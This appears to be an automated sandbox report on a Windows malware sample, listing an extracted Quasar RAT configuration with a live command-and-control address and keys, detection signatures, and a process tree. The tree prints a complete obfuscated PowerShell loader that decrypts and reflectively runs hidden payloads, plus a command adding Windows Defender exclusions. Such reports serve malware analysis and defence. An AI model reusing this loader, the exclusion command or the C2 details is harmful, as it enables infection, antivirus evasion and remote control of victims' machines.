Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
02/06/2026, 03:42
General
- Target 2026-06-02_f66b3148779feaac0b639c57b05e4f6d_icedid_stealc.exe
- Size 5.2MB
- Sample260602-d9vxtads4y
- SHA256 95a382ad413c65b52944b057de7033be3021d7b8fcc0a1ce84618f25842c26e1
Malware Config
Extracted
-
quasar
-
1.6.6
-
vps-86
-
163.61.39.209:5669
-
4fd296c3-6a44-46fd-aeb0-b9b9530e8f29
-
encryption_key
63C89A087404DF5C2E4073DE97AD98A6817E3B5E
-
install_name
.exe
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Signatures
- Family: Customer Loader
Customer Loader is a downloader written in C#.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- UAC bypass 3 TTPs 2 IoCs
- Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF 1 IoCs
- Detects Windows executables referencing non-Windows User-Agents 1 IoCs
- Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 1 IoCs
- Detects executables manipulated with Fody 1 IoCs
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Runs net.exe
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-06-02_f66b3148779feaac0b639c57b05e4f6d_icedid_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-06-02_f66b3148779feaac0b639c57b05e4f6d_icedid_stealc.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\j2HgR8l1mWVG.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -Wi Hi -Ex Bypass -c "$YvYqae = 'Sys' + 'tem';;$HVfjhn = $YvYqae + '.Se' + 'cur' + 'ity.Cry' + 'pt' + 'ogr' + 'aphy';;$wmoXvy = $YvYqae + '.I' + 'O';;$Xindvj = $YvYqae + '.Re' + 'fle' + 'cti' + 'on';;$nTGTa = 'Fr' + 'omB' + 'ase' + '64S' + 'tri' + 'ng';;$azYMc = 'Cr' + 'eat' + 'eDe' + 'cry' + 'ptor';;$xouJj = 'Tr' + 'ans' + 'for' + 'mFi' + 'nal' + 'Blo' + 'ck';;function QkDbxFdB($KWCNcM) {; $hnfWQN=New-Object ($HVfjhn + '.Ae' + 'sMa' + 'nag' + 'ed');; $hnfWQN.Mode=[int]1;; $hnfWQN.Padding=[int]2;; $hnfWQN.Key=[Convert]::$nTGTa('RjLqtMlbhkf33vtX95StqLpcfDLYKUTy668Ybrft5rc=');; $hnfWQN.IV=[Convert]::$nTGTa('6wf2OTfW7ueLiSrE0gkVvw==');; $bWvBZ=$hnfWQN.$azYMc();; $OJleZ=$bWvBZ.$xouJj($KWCNcM, 0, $KWCNcM.Length);; $bWvBZ.Dispose();; $hnfWQN.Dispose();; $OJleZ;;};function JaAAUiyE($KWCNcM) {; $sobJZL=New-Object ($wmoXvy + '.Me' + 'mo' + 'ryS' + 'tre' + 'am')(,$KWCNcM);; $mHqffZ=New-Object ($wmoXvy + '.Me' + 'mo' + 'ryS' + 'tre' + 'am');; $UdhhJt=$wmoXvy + '.Co' + 'mpr' + 'ess' + 'ion';; $FGJwVS=[type]($UdhhJt + '.Com' + 'pre' + 'ssion' + 'Mo' + 'de');; $NqApSi=[Enum]::ToObject($FGJwVS, 0);; $RpQUX=New-Object ($UdhhJt + '.GZ' + 'ipS' + 'tre' + 'am')($sobJZL, $NqApSi);; $RpQUX.CopyTo($mHqffZ);; $RpQUX.Dispose();; $sobJZL.Dispose();; $mHqffZ.Dispose();; $mHqffZ.ToArray();;};function aXGjNOGW($KWCNcM,$ahJNWV) {; $xCQgY='En' + 'try' + 'Po' + 'int';; $DktlS='Lo' + 'ad';; $JMJwz='In' + 'vo' + 'ke';; $MFqaD=[type]($Xindvj + '.As' + 'se' + 'mb' + 'ly');; $QWUuDR=$MFqaD::$DktlS([byte[]]$KWCNcM);; $vtrRnm=$QWUuDR.$xCQgY;; $vtrRnm.$JMJwz($null, $ahJNWV);;};function JyOgMDYO($XUtIL) {; $uYqafb = New-Object byte[] ($XUtIL.Length / 2);; for ($QMcXn = 0; $QMcXn -lt $XUtIL.Length; $QMcXn += 2) {; $uYqafb[$QMcXn / 2] = [Convert]::ToByte($XUtIL.Substring($QMcXn, 2), 16);; }; $uYqafb;;};$vnJPV = 'GaUaes';;$OaNDj = 'rem ' + $vnJPV;;$sQUngo = $env:lyBGsbGD;;$hTZGy=[type]($wmoXvy + '.Fi' + 'le');;$mjGFG='Re'+'adA'+'llL'+'ine'+'s';;$lIRpzGc=$hTZGy::$mjGFG($sQUngo);;$RGVCnFr = '';;$oqtHnfO = '';;$wdrLbJ = $OaNDj.Length;;foreach ($lDcda in $lIRpzGc) {; if ($lDcda.Length -gt ($wdrLbJ + 1)) {; if ($lDcda.Substring(0, $wdrLbJ) -eq $OaNDj) {; $YBtbqE = $lDcda.Substring($wdrLbJ);; if ($YBtbqE[0] -eq 'b') { $RGVCnFr += $YBtbqE.Substring(1) }; if ($YBtbqE[0] -eq 's') { $oqtHnfO += $YBtbqE.Substring(1) }; }; };};$PjRKAo=JaAAUiyE (QkDbxFdB (JyOgMDYO $RGVCnFr));;$uFrTuh=JaAAUiyE (QkDbxFdB (JyOgMDYO $oqtHnfO));;aXGjNOGW $PjRKAo $null;;aXGjNOGW $uFrTuh (,[string[]] @());"3⤵
- UAC bypass
- Badlisted process makes network request
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -Wi Hi -Ex Bypass -c "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming','C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_wic2hc1s.zao.ps1
j2HgR8l1mWVG.bat
memory/3412-55-0x0000026547E80000-0x0000026547E92000-memory.dmp
memory/3412-57-0x00000265474F0000-0x00000265474FA000-memory.dmp
memory/3412-12-0x000002653EAE0000-0x000002653EB02000-memory.dmp
memory/3412-13-0x0000026523220000-0x0000026523230000-memory.dmp
memory/3412-14-0x0000026523090000-0x0000026523098000-memory.dmp
memory/3412-15-0x0000026546ED0000-0x000002654711A000-memory.dmp
memory/3412-5-0x0000026523220000-0x0000026523230000-memory.dmp
memory/3412-51-0x0000026547E30000-0x0000026547E7A000-memory.dmp
memory/3412-50-0x0000026547DE0000-0x0000026547E2C000-memory.dmp
memory/3412-56-0x0000026547EE0000-0x0000026547F1C000-memory.dmp
memory/3412-4-0x0000026523220000-0x0000026523230000-memory.dmp
memory/3412-46-0x0000026547990000-0x00000265479DA000-memory.dmp
memory/3412-58-0x0000026547A40000-0x0000026547A48000-memory.dmp
memory/3412-52-0x0000026547B50000-0x0000026547B7A000-memory.dmp
memory/3412-49-0x0000026547B10000-0x0000026547B44000-memory.dmp
memory/3412-40-0x0000026547120000-0x00000265473BC000-memory.dmp
memory/3412-41-0x00000265230B0000-0x00000265230CE000-memory.dmp
memory/3412-42-0x0000026547500000-0x0000026547550000-memory.dmp
memory/3412-43-0x0000026547A50000-0x0000026547B02000-memory.dmp
memory/3412-44-0x0000026547FB0000-0x0000026548172000-memory.dmp
memory/3412-45-0x00000265474B0000-0x00000265474EA000-memory.dmp
memory/3412-48-0x0000026547550000-0x0000026547576000-memory.dmp
memory/3412-47-0x00000265479E0000-0x0000026547A2E000-memory.dmp
memory/5108-28-0x000002162F570000-0x000002162F58C000-memory.dmp
memory/5108-36-0x000002162F910000-0x000002162F91A000-memory.dmp
memory/5108-35-0x000002162F900000-0x000002162F906000-memory.dmp
memory/5108-34-0x000002162F8D0000-0x000002162F8D8000-memory.dmp
memory/5108-33-0x000002162F920000-0x000002162F93A000-memory.dmp
memory/5108-32-0x000002162F8C0000-0x000002162F8CA000-memory.dmp
memory/5108-31-0x000002162F8E0000-0x000002162F8FC000-memory.dmp
memory/5108-30-0x000002162F660000-0x000002162F66A000-memory.dmp
memory/5108-29-0x000002162F590000-0x000002162F643000-memory.dmp